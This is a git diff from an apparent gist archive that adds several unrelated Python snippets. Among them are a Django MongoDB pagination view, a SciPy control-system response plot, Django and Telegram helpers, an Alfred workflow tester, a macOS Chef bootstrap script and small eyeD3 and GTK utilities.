+    def get(self, request, *args, **kwargs):
+        """
+        Overrides the built in get() function on the base View class.
+        Gets the object and the context.
+        Returns a redirect if there's an issue with the page number.
+        """
+        
+        # If the type of response is a query:
+        if self.get_object()[1] == 'query':
+            
+            # Set the results to the first part of the tuple.
+            self.query_results = self.get_object()[0]
+            
+            # If there are no results ...
+            if len(self.query_results) == 0:
+                
+                #... raise a 404.
+                raise Http404(u"List is empty.")
+                
+            # If there are results, set the context data.
+            context = self.get_context_data()
+            
+            # Return render_to_response with the context data.
+            return self.render_to_response(context)
+            
+        # Otherwise, if the response is a redirect ...
+        elif self.get_object()[1] == 'redirect':
+            
+            #... execute the redirect.
+            return HttpResponseRedirect(self.get_object()[0])
+            
+
+class ListView(BasePaginatedMongoMixin, View):
+    """
+    Provides a generic list view for MongoDB.
+    """
+    # Set the class type.
+    class_type          = 'list'
+    
+    def get_list(self, *args, **kwargs):
+        """
+        Provides a list of JSON objects from a MongoConnection class.
+        """
+        
+        # Set up the mongo connection.
+        mongo_object    = MongoConnection(db=self.db_name, collection=self.collection_name, auth=self.auth_string)
+        connection      = mongo_object.connect()
+        
+        # Get the total count and the number of pages.
+        total_count     = connection.find(self.query_dict).count()
+        
+        if (total_count % self.pagination_limit) > 0:
+            self.pages      = (total_count / self.pagination_limit) + 1
+        else:
+            self.pages      = (total_count / self.pagination_limit)
+        
+        if self.pages == 1:
+            self.page_range = [1]
+        else:
+            self.page_range = range(1,self.pages+1)
+        
+        try:
+            query_kwargs = self.query_filter['kwargs']
+            query_filter = { query_kwargs['mongo_field']: self.kwargs[query_kwargs['url_kwarg']] }
+            
+        except Exception, e:
+            print Exception, e
+            query_filter = None
+        
+        try:
+            # Try to get the page from the URL.
+            self.page   = int(self.request.GET['page'])
+            
+            # If we can get the page from the URL, calculate the offset.
+            
+            # First, test if the current page is 0.
+            if self.page == 0:
+                
+                # If so, short circuit the process and return a redirect URL while setting the type as a redirect.
+                redirect_url = '%s?page=%s' % (self.request.META['PATH_INFO'], 1)
+                return redirect_url, 'redirect'
+            
+            # Next, check if the current page is less than the total number of pages.
+            elif self.page <= self.pages:
+                
+                # If so, set the offset to the 1-indexed page number * the pagination limit.
+                self.offset = (self.page-1) * self.pagination_limit
+                
+                # Set the previous/next page numbers.
+                if self.page == 1 and self.page == self.pages:
+                    pass
+                    
+                elif self.page == 1:
+                    self.next_page_number = 2
+                
+                elif self.page == self.pages:
+                    self.previous_page_number = self.page - 1
+                    
+                else:
+                    self.next_page_number = self.page + 1
+                    self.previous_page_number = self.page - 1
+                
+            # Finally, check if the current page is greater than the total number of pages.
+            elif self.page > self.pages:
+                
+                # If so, short circuit the process and return a redirect URL while setting the type as a redirect.
+                redirect_url = '%s?page=%s' % (self.request.META['PATH_INFO'], self.pages)
+                return redirect_url, 'redirect'
+                
+            # Check if the sort is absent.
+            if self.query_sort == None:
+                
+                # If there's no sort, just send along the connection query.
+                query = connection.find(query_filter, limit=self.pagination_limit, skip=self.offset)
+            
+            # Otherwise, if the sort is present ...
+            else:
+                
+                # ... send along the connection query with the sort attached.
+                query = connection.find(query_filter, limit=self.pagination_limit, skip=self.offset).sort(self.query_sort['field'], direction=self.query_sort['direction'])
+            
+        except Exception, e:
+            
+            # If there's no page in the URL, set the page to 1.
+            self.page = 1
+            self.offset = 0
+            
+            # If so, set the offset to the 1-indexed page number * the pagination limit.
+            self.offset = (self.page-1) * self.pagination_limit
+            
+            # Set the previous/next page numbers.
+            if self.page == 1 and self.page == self.pages:
+                pass
+                
+            elif self.page == 1:
+                self.next_page_number = 2
+            
+            elif self.page == self.pages:
+                self.previous_page_number = self.page - 1
+                
+            else:
+                self.next_page_number = self.page + 1
+                self.previous_page_number = self.page - 1
+            
+            # Check if the sort is absent.
+            if self.query_sort == None:
+                
+                # If there's no sort, just send along the connection query.
+                query = connection.find(query_filter, limit=self.pagination_limit, skip=self.offset)
+                
+            # Otherwise, if the sort is present ...
+            else:
+                
+                # ... send along the connection query with the sort attached.
+                query = connection.find(query_filter, limit=self.pagination_limit, skip=self.offset).sort(self.query_sort['field'], direction=self.query_sort['direction'])     
+        
+        # Set up a query list.
+        query_list = []
+        
+        # Append each item to the query_list.
+        for item in query:
+            item_dict = {}
+            item_as_kwargs = dict(item)
+            item_dict.update(**item_as_kwargs)
+            item_dict['id'] = str(item['_id'])
+            item_dict.pop('_id')
+            query_list.append(item_dict)
+        
+        # Return the query list, and set the type of return to query.
+        return query_list, 'query'
+        
+    def get(self, request, *args, **kwargs):
+        """
+        Overrides the built in get() function on the base View class.
+        Gets the object and the context.
+        Returns a redirect if there's an issue with the page number.
+        """
+        
+        # If the type of response is a query:
+        if self.get_list()[1] == 'query':
+            
+            # Set the results to the first part of the tuple.
+            self.query_results = self.get_list()[0]
+            
+            # If there are no results ...
+            if len(self.query_results) == 0:
+                
+                #... raise a 404.
+                raise Http404(u"List is empty.")
+                
+            # If there are results, set the context data.
+            context = self.get_context_data(**kwargs)
+            
+            # Return render_to_response with the context data.
+            return self.render_to_response(context)
+            
+        # Otherwise, if the response is a redirect ...
+        elif self.get_list()[1] == 'redirect':
+            
+            #... execute the redirect.
+            return HttpResponseRedirect(self.get_list()[0])
diff --git a/hard-gists/1882562/._snippet.py b/hard-gists/1882562/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1882562/._snippet.py differ
diff --git a/hard-gists/1882562/snippet.py b/hard-gists/1882562/snippet.py
new file mode 100644
index 00000000..eb86ebe1
--- /dev/null
+++ b/hard-gists/1882562/snippet.py
@@ -0,0 +1,35 @@
+from numpy import min, max
+from scipy import linspace
+from scipy.signal import lti, step, impulse
+
+# making transfer function
+# example from Ogata Modern Control Engineering 
+# 4th edition, International Edition page 307
+
+# num and den, can be list or numpy array type
+num = [6.3223, 18, 12.811] 
+den = [1, 6, 11.3223, 18, 12.811]
+
+tf = lti(num, den)
+
+# get t = time, s = unit-step response
+t, s = step(tf)
+
+# recalculate t and s to get smooth plot
+t, s = step(tf, T = linspace(min(t), t[-1], 500))
+
+# get i = impulse
+t, i = impulse(tf, T = linspace(min(t), t[-1], 500))
+
+from matplotlib import pyplot as plt
+
+plt.plot(t, s, t, i)
+plt.title('Transient-Response Analysis')
+plt.xlabel('Time(sec)')
+plt.ylabel('Amplitude')
+plt.hlines(1, min(t), max(t), colors='r')
+plt.hlines(0, min(t), max(t))
+plt.xlim(xmax=max(t))
+plt.legend(('Unit-Step Response', 'Unit-Impulse Response'), loc=0)
+plt.grid()
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/18a73aa5dab4b574e2f5/._snippet.py b/hard-gists/18a73aa5dab4b574e2f5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/18a73aa5dab4b574e2f5/._snippet.py differ
diff --git a/hard-gists/18a73aa5dab4b574e2f5/snippet.py b/hard-gists/18a73aa5dab4b574e2f5/snippet.py
new file mode 100644
index 00000000..f7df0b40
--- /dev/null
+++ b/hard-gists/18a73aa5dab4b574e2f5/snippet.py
@@ -0,0 +1,33 @@
+###################################################
+#
+#   Usage: 
+#       {% load help_text_as_placeholder %}
+#       form.field|help_text_as_placeholder
+#       OR
+#       field|help_text_as_placeholder
+###################################################
+
+from django import template
+from django.utils.safestring import mark_safe
+register = template.Library()
+
+IGNORE_FIELDS = ['<textarea', '<select']
+
+
+@register.filter("help_text_as_placeholder")
+def help_text_as_placeholder(field):
+    html = field.as_widget()
+
+    return _get_field_with_placeholder(field, html)
+
+
+def _get_field_with_placeholder(field, html):
+    for ignored_field in IGNORE_FIELDS:
+        if (ignored_field not in html):
+            html_parts = html.split("/>")
+            placeholder = field.help_text or field.name.title()
+            html_parts.append('placeholder="{}"'.format(placeholder))
+            html_parts.append(' />')
+        else:
+            return html
+    return mark_safe(''.join(html_parts))
diff --git a/hard-gists/18a8e06c2b179bb78353fbacfeee82da/._snippet.py b/hard-gists/18a8e06c2b179bb78353fbacfeee82da/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/18a8e06c2b179bb78353fbacfeee82da/._snippet.py differ
diff --git a/hard-gists/18a8e06c2b179bb78353fbacfeee82da/snippet.py b/hard-gists/18a8e06c2b179bb78353fbacfeee82da/snippet.py
new file mode 100644
index 00000000..2d9b7468
--- /dev/null
+++ b/hard-gists/18a8e06c2b179bb78353fbacfeee82da/snippet.py
@@ -0,0 +1,34 @@
+from functools import wraps
+
+from telegram import ChatAction
+
+
+def before_response(function):
+    """Do something before responding"""
+
+    def do_before(func):
+        @wraps(func)
+        def inner(*args, **kwargs):
+            try:
+                bot = args[0]
+                update = args[1]
+                function(bot, update)
+            except (IndexError, AttributeError):
+                msg = "Check if you spelled the attributes right and if this is \
+                        applied to the right function."
+                raise Exception(msg)
+            return func(*args, **kwargs)
+        return inner
+    return do_before
+
+
+def pre_response(bot, update):
+    bot.sendChatAction(chat_id=update.message.chat_id,
+                       action=ChatAction.TYPING)
+    
+@before_response(pre_response)
+def test(bot, update):
+    pass
+
+
+# Add command with CommandHandler etc
\ No newline at end of file
diff --git a/hard-gists/18e6b6ed5d69b057e773/._snippet.py b/hard-gists/18e6b6ed5d69b057e773/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/18e6b6ed5d69b057e773/._snippet.py differ
diff --git a/hard-gists/18e6b6ed5d69b057e773/snippet.py b/hard-gists/18e6b6ed5d69b057e773/snippet.py
new file mode 100644
index 00000000..bd826253
--- /dev/null
+++ b/hard-gists/18e6b6ed5d69b057e773/snippet.py
@@ -0,0 +1,191 @@
+#!/usr/bin/python
+# encoding: utf-8
+from __future__ import unicode_literals
+
+import re
+import subprocess
+try:
+    import xml.etree.cElementTree as ET
+except ImportError:  # pragma: no cover
+    import xml.etree.ElementTree as ET
+
+from workflow import Workflow
+
+
+class AlfredPlist(object):
+    def __init__(self, wf):
+        self.wf = wf
+        self.data = self.wf.info
+
+    ## Properties  ------------------------------------------------------------
+
+    @property
+    def all_uids(self):
+        return self.data['uidata'].keys()
+
+    @property
+    def node_types(self):
+        types = [i['type'] for i in self.data['objects']]
+        return list(set(types))
+
+    @property
+    def script_filters(self):
+        uids_gen = self.get_uids_by_type('input.scriptfilter')
+        return list(set([x for x in uids_gen]))
+
+    @property
+    def script_actions(self):
+        actions_gen = self.get_uids_by_type('action.script')
+        actions = [x for x in actions_gen]
+        outputs_gen = self.get_uids_by_type('output.script')
+        outputs = [x for x in outputs_gen]
+        return list(set(actions + outputs))
+
+    def get_uids_by_type(self, type):
+        if not type.startswith('alfred.workflow.'):
+            type = 'alfred.workflow.' + type
+        return (i['uid'] for i in self.data['objects']
+                if i['type'] == type)
+
+    ## Object Methods  --------------------------------------------------------
+
+    def get_object(self, uid):
+        item_gen = (i for i in self.data['objects']
+                    if i['uid'] == uid)
+        return next(item_gen, False)
+
+    def get_script(self, uid):
+        if self.check_objects():
+            item = self.get_object(uid)
+            if item:
+                try:
+                    return item['config']['script']
+                except KeyError:
+                    return False
+
+    def get_connections(self, uid):
+        if self.check_connections():
+            conns = self.data['connections'].get(uid, False)
+            if conns:
+                return [(con['destinationuid'], con['modifiersubtext'])
+                        for con in conns]
+
+    def get_type(self, uid):
+        if self.check_objects():
+            item = self.get_object(uid)
+            if item:
+                try:
+                    return item['type'].split('.')[-1]
+                except KeyError:
+                    return False
+
+    def get_description(self, uid):
+        if self.check_objects():
+            item = self.get_object(uid)
+            if item:
+                try:
+                    subtext = item['config']['subtext']
+                    title = item['config']['title']
+                    return ': '.join([title, subtext])
+                except KeyError:
+                    return False
+
+    ## Section Checkers  ------------------------------------------------------
+
+    def check_objects(self):
+        if isinstance(self.data['objects'], list):
+            return True
+        else:
+            raise Exception('Malformed `objects` section of `info.plist`')
+
+    def check_connections(self):
+        if isinstance(self.data['connections'], dict):
+            return True
+        else:
+            raise Exception('Malformed `connections` section of `info.plist`')
+
+
+class WorkflowTesting(object):
+    def __init__(self, wf):
+        self.wf = wf
+        self.info = AlfredPlist(self.wf)
+
+    # TODO
+    def test_filters(self, query):
+        used_scripts = set()
+        for filterer in self.info.script_filters:
+            f_script = self.info.get_script(filterer)
+            if f_script not in used_scripts:
+                print('\n\n\n- - -\n## SCRIPT FILTER')
+                arg = self.run_filter(f_script, query)
+                used_scripts.add(f_script)
+                if arg:
+                    print('\n\n- -\n## Arg: ' + arg)
+                    cons = self.info.get_connections(filterer)
+                    if cons:
+                        for con in cons:
+                            con_uid, desc = con
+                            con_script = self.info.get_script(con_uid)
+                            if con_script:
+                                con_res = self.run_command(con_script, arg)
+                                if con_res:
+                                    print('Connection Result: ' + str(con_res))
+                                print('\n\n')
+                    else:
+                        print(cons)
+
+    def run_command(self, command, query):
+        filter_cmd = self.prepare_command(command, query)
+        try:
+            return subprocess.check_output(filter_cmd)
+        except subprocess.CalledProcessError as e:
+            print(e)
+            return False
+
+    def run_filter(self, filter_script, query):
+        xml_res = self.run_command(filter_script, query)
+        return self.get_filter_result_arg(xml_res)
+
+    def get_filter_result_arg(self, xml_res):
+        try:
+            root = ET.fromstring(xml_res)
+            try:
+                return root.find('item').find('arg').text
+            except AttributeError:
+                return False
+        except TypeError:
+            return False
+
+    def prepare_command(self, script_str, query=None):
+        if query:
+            script_str = self.assign_query(script_str, query)
+        cmd_str = self.expand_script_path(script_str)
+        full_cmd_str = self.explicit_python_call(cmd_str)
+        return full_cmd_str.split()
+
+    @staticmethod
+    def assign_query(script_str, query):
+        clean = re.sub(r"[^\s]{query}[^\s]", '{query}', script_str)
+        return clean.replace('{query}', query)
+
+    def expand_script_path(self, script_str):
+        # Get name of Python script file
+        py_file = re.search(r'(.*?)\.py', script_str)
+        if py_file:
+            py_file = py_file.group(1) + '.py'
+            # Get full path to Python script file
+            full_path = self.wf.workflowfile(py_file)
+            # Replace file name with file path
+            return script_str.replace(py_file, full_path)
+
+    def explicit_python_call(self, script_str):
+        return re.sub(r".*?python\s",
+                      "/usr/bin/python ",
+                      script_str)
+
+WF = Workflow()
+t = WorkflowTesting(WF)
+#t_scpt = t.info.get_script(t.info.author_filter)
+#t_cmd = t.run_filter(t_scpt, 'margheim')
+#print(t_cmd)
+t.test_filters('horace')
diff --git a/hard-gists/1907f96e6e680bbeb15393d4f441b55e/._snippet.py b/hard-gists/1907f96e6e680bbeb15393d4f441b55e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1907f96e6e680bbeb15393d4f441b55e/._snippet.py differ
diff --git a/hard-gists/1907f96e6e680bbeb15393d4f441b55e/snippet.py b/hard-gists/1907f96e6e680bbeb15393d4f441b55e/snippet.py
new file mode 100644
index 00000000..80612974
--- /dev/null
+++ b/hard-gists/1907f96e6e680bbeb15393d4f441b55e/snippet.py
@@ -0,0 +1,449 @@
+#!/usr/bin/python
+"""Bootstrap Chef with no other dependencies."""
+
+import os
+import sys
+import platform
+import subprocess
+import json
+import plistlib
+import urllib2
+import glob
+
+import objc
+from Foundation import NSBundle
+
+CLIENT_RB = """
+place your default client.rb file here
+"""
+
+RUN_LIST_JSON = {"run_list": ["role[cpe_base]"]}
+
+VALIDATION_PEM = """
+-----BEGIN RSA PRIVATE KEY-----
+put your validation.pem private key here
+-----END RSA PRIVATE KEY-----
+"""
+
+FACEBOOK_CRT = """
+-----BEGIN CERTIFICATE-----
+put your trusted certificate chain here
+-----END CERTIFICATE-----
+"""
+
+
+# OS-related functions
+def get_os_version():
+  """Return OS version."""
+  return platform.mac_ver()[0]
+
+
+def get_serial():
+  """Get system serial number."""
+  # Credit to Mike Lynn
+  IOKit_bundle = NSBundle.bundleWithIdentifier_("com.apple.framework.IOKit")
+  functions = [
+    ("IOServiceGetMatchingService", b"II@"),
+    ("IOServiceMatching", b"@*"),
+    ("IORegistryEntryCreateCFProperty", b"@I@@I")
+  ]
+  objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
+
+  kIOMainPortDefault = 0
+  kIOPlatformSerialNumberKey = 'IOPlatformSerialNumber'
+  kCFAllocatorDefault = None
+
+  platformExpert = IOServiceGetMatchingService(
+    kIOMainPortDefault,
+    IOServiceMatching("IOPlatformExpertDevice")
+  )
+  serial = IORegistryEntryCreateCFProperty(
+    platformExpert,
+    kIOPlatformSerialNumberKey,
+    kCFAllocatorDefault,
+    0
+  )
+  return serial
+
+
+def getconsoleuser():
+  """Get the current console user."""
+  from SystemConfiguration import SCDynamicStoreCopyConsoleUser
+  cfuser = SCDynamicStoreCopyConsoleUser(None, None, None)
+  return cfuser[0]
+
+
+# Convenience functions to run subprocesses
+def run_live(command):
+  """
+  Run a subprocess with real-time output.
+
+  Can optionally redirect stdout/stderr to a log file.
+  Returns only the return-code.
+  """
+  # Validate that command is not a string
+  if isinstance(command, basestring):
+    # Not an array!
+    raise TypeError('Command must be an array')
+  # Run the command
+  proc = subprocess.Popen(command,
+                          stdout=subprocess.PIPE,
+                          stderr=subprocess.STDOUT)
+  while proc.poll() is None:
+    l = proc.stdout.readline()
+    print l,
+  print proc.stdout.read()
+  return proc.returncode
+
+
+def run_subp(command, input=None):
+  """
+  Run a subprocess.
+
+  Command must be an array of strings, allows optional input.
+  Returns results in a dictionary.
+  """
+  # Validate that command is not a string
+  if isinstance(command, basestring):
+    # Not an array!
+    raise TypeError('Command must be an array')
+  proc = subprocess.Popen(command,
+                          stdout=subprocess.PIPE,
+                          stderr=subprocess.STDOUT)
+  (out, err) = proc.communicate(input)
+  result_dict = {
+    "stdout": out,
+    "stderr": err,
+    "status": proc.returncode,
+    "success": True if proc.returncode == 0 else False
+  }
+  return result_dict
+
+
+def run_log(command, stdout_path):
+  """
+  Run a subprocess with all output logged to a file.
+
+  Return the subprocess return code.
+  """
+  if isinstance(command, basestring):
+    # Not an array!
+    raise TypeError('Command must be an array')
+  with open(stdout_path, 'ab') as f:
+    proc = subprocess.Popen(command, stdout=f, stderr=subprocess.STDOUT)
+    proc.wait()
+  return proc.returncode
+
+
+def osascript(osastring):
+  """Wrapper to run AppleScript commands."""
+  cmd = ['/usr/bin/osascript', '-e', osastring]
+  proc = subprocess.Popen(cmd, shell=False, bufsize=1,
+                          stdin=subprocess.PIPE,
+                          stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+  (out, err) = proc.communicate()
+  if proc.returncode != 0:
+    print >> sys.stderr, 'Error: ', err
+  if out:
+    return str(out).decode('UTF-8').rstrip('\n')
+
+
+# Package-related functions
+def get_pkg_path_from_dmg(dmgpath):
+  """Get the path of a .pkg inside a DMG."""
+  mountpoints = []
+  cmd = ['/usr/bin/hdiutil', 'attach', dmgpath,
+         '-mountRandom', '/tmp', '-nobrowse', '-plist']
+  results = run_subp(cmd)
+  if not results['success']:
+    print >> sys.stderr, ("Failed to mount "
+                          "%s: %s" % (dmgpath, results['stderr']))
+    return None
+  pliststr = results['stdout']
+  if pliststr:
+    plist = plistlib.readPlistFromString(pliststr)
+    for entity in plist.get('system-entities', []):
+      if 'mount-point' in entity:
+        mountpoints.append(entity['mount-point'])
+    if mountpoints:
+      pkg_path = os.path.join(mountpoints[0], '*.pkg')
+      return glob.glob(pkg_path)[0]
+
+
+def install_package(package_path):
+  """Install a package."""
+  path = package_path
+  if package_path.endswith('.dmg'):
+    # Search the DMG for a valid .pkg
+    path = get_pkg_path_from_dmg(package_path)
+    if not path:
+      # Package failed to install, we can't proceed.
+      return False
+  cmd = [
+    '/usr/sbin/installer', '-pkg',
+    path,
+    '-target', 'LocalSystem'
+  ]
+  proc = subprocess.Popen(
+    cmd,
+    stdout=subprocess.PIPE,
+    stderr=subprocess.PIPE
+  )
+  (out, err) = proc.communicate()
+  if proc.returncode != 0:
+    print >> sys.stderr, out
+    return False
+  print out
+  return True
+
+
+def is_pkg_installed(receipt):
+  """
+  Check if a package receipt is installed.
+
+  Returns version of package installed, or '0.0.0.0'.
+  """
+  proc = subprocess.Popen(['/usr/sbin/pkgutil',
+                           '--pkg-info-plist', receipt],
+                          bufsize=1,
+                          stdout=subprocess.PIPE,
+                          stderr=subprocess.PIPE)
+  (out, dummy_err) = proc.communicate()
+  if proc.returncode != 0:
+    return '0.0.0.0'
+  plist = plistlib.readPlistFromString(out)
+  foundbundleid = plist.get('pkgid')
+  foundvers = plist.get('pkg-version', '0.0.0.0.0')
+  if receipt == foundbundleid:
+    return foundvers
+
+
+def install_cli_tools():
+  """Install the Xcode CLI tools, from Apple if necessary."""
+  os_ver = get_os_version()
+  # Install command line tools if necessary:
+  # 10.12 receipt name
+  receipt = 'com.apple.pkg.DevSDK_OSX1012'
+  if '10.10' in os_ver:
+    receipt = 'com.apple.pkg.DevSDK_OSX1010'
+  elif '10.11' in os_ver:
+    receipt = 'com.apple.pkg.DevSDK_OSX1011'
+  if (
+    is_pkg_installed('com.apple.pkg.CLTools_Executables') != '0.0.0.0' and
+    is_pkg_installed(receipt) != '0.0.0.0'
+  ):
+    print "installed."
+    return True
+  else:
+    print "not installed."
+    # We need to install the CLI tools from Apple
+    # https://github.com/rtrouton/rtrouton_scripts/tree/master/rtrouton_scripts/install_xcode_command_line_tools  # noqa
+    tmpfile = \
+      '/tmp/.com.apple.dt.CommandLineTools.installondemand.in-progress'
+    open(tmpfile, 'wb').close()
+    results = run_subp(['/usr/sbin/softwareupdate', '-l'])
+    if int(results['status']) != 0:
+      print >> sys.stderr, ('Software update failed!')
+      sys.exit(1)
+    for line in results['stdout'].split('\n'):
+      if 'Command Line Tools' in line:
+        cmd_line_tools = line.split('* ')[1]
+        cmd = ['/usr/sbin/softwareupdate', '-i', cmd_line_tools, '--verbose']
+        results = run_live(cmd)
+        break
+    if results != 0:
+      print >> sys.stderr, ('Software update failed!')
+      sys.exit(1)
+    os.remove(tmpfile)
+    # Check to see if we succeeded
+    if (
+      is_pkg_installed('com.apple.pkg.CLTools_Executables') != '0.0.0.0' and
+      is_pkg_installed(receipt) != '0.0.0.0'
+    ):
+      print "CLI tools installed."
+      return True
+    # The receipts aren't present, so we can't consider it a valid install.
+    return False
+
+
+# Chef-related functions
+def get_chef():
+  """Determine source of Chef."""
+  # Try downloading direct from Chef website
+  os_ver = '.'.join(get_os_version().split('.')[:2])
+  base_url = 'https://www.chef.io/chef/download'
+  url = ('%s?p=mac_os_x&pv=%s&m=x86_64&v=latest&prerelease=false' %
+        (base_url, os_ver))
+  # Chef redirects to an AWS node
+  actual_url = urllib2.urlopen(url).geturl()
+  file_name = 'chef.dmg'
+  print 'Downloading from Chef directly...',
+  with open(os.path.join('/tmp', file_name), 'wb') as f:
+    f.write(urllib2.urlopen(actual_url).read())
+  if os.path.exists(os.path.join('/tmp', file_name)):
+    print 'downloaded from Chef.io.'
+    return os.path.join('/tmp', file_name)
+  # If we're here, we got nothing.
+  return None
+
+
+def install_chef():
+  """Install Chef client package."""
+  # Is Chef installed?
+  chef_vers = is_pkg_installed('com.getchef.pkg.chef')
+  if chef_vers != '0.0.0.0' and os.path.exists('/opt/chef/bin/chef-client'):
+    print "Chef %s installed" % chef_vers
+    return True
+  # Is Chef locally available in /Library/CPE/Source?
+  localchef = glob.glob('/Library/CPE/Source/chef-*.pkg')
+  if localchef and os.path.isfile(localchef[-1]):
+    print "Using %s" % localchef
+    install_path = localchef[-1]
+  else:
+    print "Obtaining Chef..."
+    install_path = get_chef()
+  # Install the package
+  if not install_path:
+    print >> sys.stderr, "Couldn't download Chef."
+    sys.exit(1)
+  print "Installing Chef."
+  result = install_package(install_path)
+  if not result:
+    print >> sys.stderr, "Could not install Chef."
+    return False
+  print "Finished installing Chef."
+  return True
+
+
+def client(logpath, prams=[], chef_path='/usr/local/bin/chef-client'):
+  """Run chef-client with parameter list, return result code."""
+  cmd = [chef_path]
+  cmd.extend(prams)
+  print "Running client, saving output to %s" % logpath
+  return run_log(cmd, logpath)
+
+
+def run_chef(logpath='/Library/CPE/Logs/first_chef_run.log'):
+  """Run Chef."""
+  # Try a live Chef run, to a log file.
+  result = client(logpath)
+  if result == 0:
+    # exit code of 0 means it succeeded
+    return True
+  return False
+
+
+# Primary bootstrap function
+def bootstrap(force=False):
+  """
+  Bootstrap a machine using Chef.
+
+  Installs the Xcode Command Line Tools first.
+  Copies the default client.rb, run_list.json, validation.pem into place.
+  Appends the nodename and ohai to the client.rb.
+  Installs the Chef package (will download first if necessary).
+  Run chef-client for the first time while logging to
+  /Library/CPE/Logs/first_chef_run.log
+
+  If local=True, it will do a chef-zero with local files only.
+
+  Returns True/False if it succeeded or failed.
+  """
+  # OS Version check:
+  os_ver = get_os_version()
+  if int(os_ver.split('.')[1]) < 10:
+    print (
+      "%s is no longer supported. This machine must "
+      "be upgraded to install Chef." % os_ver
+    )
+    return False
+
+  # If current user is 'admin', we should abort, because Chef will
+  # install a local admin account with a randomized password
+  if getconsoleuser() == 'admin':
+    print ("Create a new administrative account "
+           "not named 'admin'!\nChef will create an "
+           "'admin' account for you.")
+    return False
+
+  # Install the Xcode Command Line Tools first
+  print "Checking for OS X CLI Tools...",
+  cli_success = install_cli_tools()
+  if not cli_success:
+    print (
+      "Unable to install Xcode Command Line Tools!"
+    )
+    return False
+
+  if force:
+    try:
+      if os.path.isfile("/etc/chef/client.pem"):
+        os.remove("/etc/chef/client.pem")
+      if os.path.exists("/etc/chef/ohai_plugins/"):
+        os.remove("/etc/chef/ohai_plugins/")
+    except:
+      pass
+
+  # Set up config files
+  print "Setting up Chef config files."
+  serial = get_serial()
+  # Adding Node name based on serial number, and Ohai config changes.
+  global CLIENT_RB
+  CLIENT_RB += '\n' + 'node_name \"%s\"' % serial
+  CLIENT_RB += '\n' + 'Ohai::Config[:plugin_path] << "/etc/chef/ohai_plugins"'
+  CLIENT_RB += '\n' + 'Ohai::Config[:disabled_plugins] = [:Passwd]'
+
+  if not os.path.isdir('/etc/chef'):
+    os.makedirs('/etc/chef')
+  with open('/etc/chef/client.rb', 'wb') as f:
+    f.write(CLIENT_RB)
+  with open('/etc/chef/run-list.json', 'wb') as f:
+    json.dump(RUN_LIST_JSON, f)
+  with open('/etc/chef/thefacebook.crt', 'wb') as f:
+    f.write(FACEBOOK_CRT)
+  with open('/etc/chef/validation.pem', 'wb') as f:
+    f.write(VALIDATION_PEM)
+
+  # Install the Chef client package.
+  print "Checking for Chef install..."
+  chef_installed = install_chef()
+  if not chef_installed:
+    print "Bootstrap failed."
+    return False
+
+  # Set the firstboot tag to ensure the firstboot runlist is used.
+  open('/etc/chef/firstboot', 'wb').close()
+
+  # Set up the basic CPE directory
+  if not os.path.isdir('/Library/CPE/Logs'):
+    os.makedirs('/Library/CPE/Logs')
+
+  sys.stdout.flush()
+  # Run Chef at least twice, but retry a certain number of times
+  retries = 3
+  successes = 0
+  while True:
+    success = run_chef()
+    if success:
+        successes += 1
+    else:
+        print "Run failed, retrying..."
+        retries -= 1
+    if successes == 2 or retries == 0:
+      break
+
+  if successes < 2:
+    print (
+      "Chef failed to run, please send CPE the logfile at"
+      " /Library/CPE/Logs/first_chef_run.log!"
+    )
+    return False
+
+  # All done!
+  print "Bootstrap complete!"
+  return True
+
+if __name__ == '__main__':
+  result = bootstrap(force=True)
+  if not result:
+    sys.exit(1)
diff --git a/hard-gists/1911238/._snippet.py b/hard-gists/1911238/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1911238/._snippet.py differ
diff --git a/hard-gists/1911238/snippet.py b/hard-gists/1911238/snippet.py
new file mode 100644
index 00000000..413e1fe8
--- /dev/null
+++ b/hard-gists/1911238/snippet.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python
+
+import sys
+import os
+import eyeD3
+
+tag = eyeD3.Tag()
+
+for arg in sys.argv[1:]:
+  tag.link(os.path.abspath(arg))
+  lyrics = open(os.path.splitext(os.path.abspath(arg))[0] + ".txt", "r").read()
+  tag.addLyrics(lyrics)
+  tag.update()
diff --git a/hard-gists/1912053/._snippet.py b/hard-gists/1912053/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1912053/._snippet.py differ
diff --git a/hard-gists/1912053/snippet.py b/hard-gists/1912053/snippet.py
new file mode 100644
index 00000000..2ad92977
--- /dev/null
+++ b/hard-gists/1912053/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+import gtk
+import pango
+def on_text_view_expose_event(text_view, event):
+    text_buffer = text_view.get_buffer()
+    bounds = text_buffer.get_bounds()
+    text = text_buffer.get_text(*bounds)
+    nlines = text.count("\n") + 1
+    layout = pango.Layout(text_view.get_pango_context())
+    layout.set_markup("\n".join([str(x + 1) for x in range(nlines)]))
+    layout.set_alignment(pango.ALIGN_RIGHT)
+    width = layout.get_pixel_size()[0]
+    text_view.set_border_window_size(gtk.TEXT_WINDOW_RIGHT, width + 4)
+    y = -text_view.window_to_buffer_coords(gtk.TEXT_WINDOW_RIGHT, 2, 0)[1]
+    window = text_view.get_window(gtk.TEXT_WINDOW_RIGHT)
+    window.clear()
+    text_view.style.paint_layout(window=window,
+                                 state_type=gtk.STATE_NORMAL,
+                                 use_text=True,
+                                 area=None,
+                                 widget=text_view,
+                                 detail=None,
+                                 x=2,
+                                 y=y,
+                                 layout=layout)
+
+text_view = gtk.TextView()
+text_buffer = text_view.get_buffer()
+text_buffer.insert_at_cursor("ABC\nabc")
+text_view.set_border_window_size(gtk.TEXT_WINDOW_RIGHT, 24)
+text_view.connect("expose-event", on_text_view_expose_event)
+scroller = gtk.ScrolledWindow()
+scroller.set_shadow_type(gtk.SHADOW_IN)
+scroller.add(text_view)
+window = gtk.Window()
+window.connect("delete-event", gtk.main_quit)
+window.set_position(gtk.WIN_POS_CENTER)
+window.set_default_size(300, 100)
+window.set_border_width(12)
+window.add(scroller)
+window.show_all()
+gtk.main()
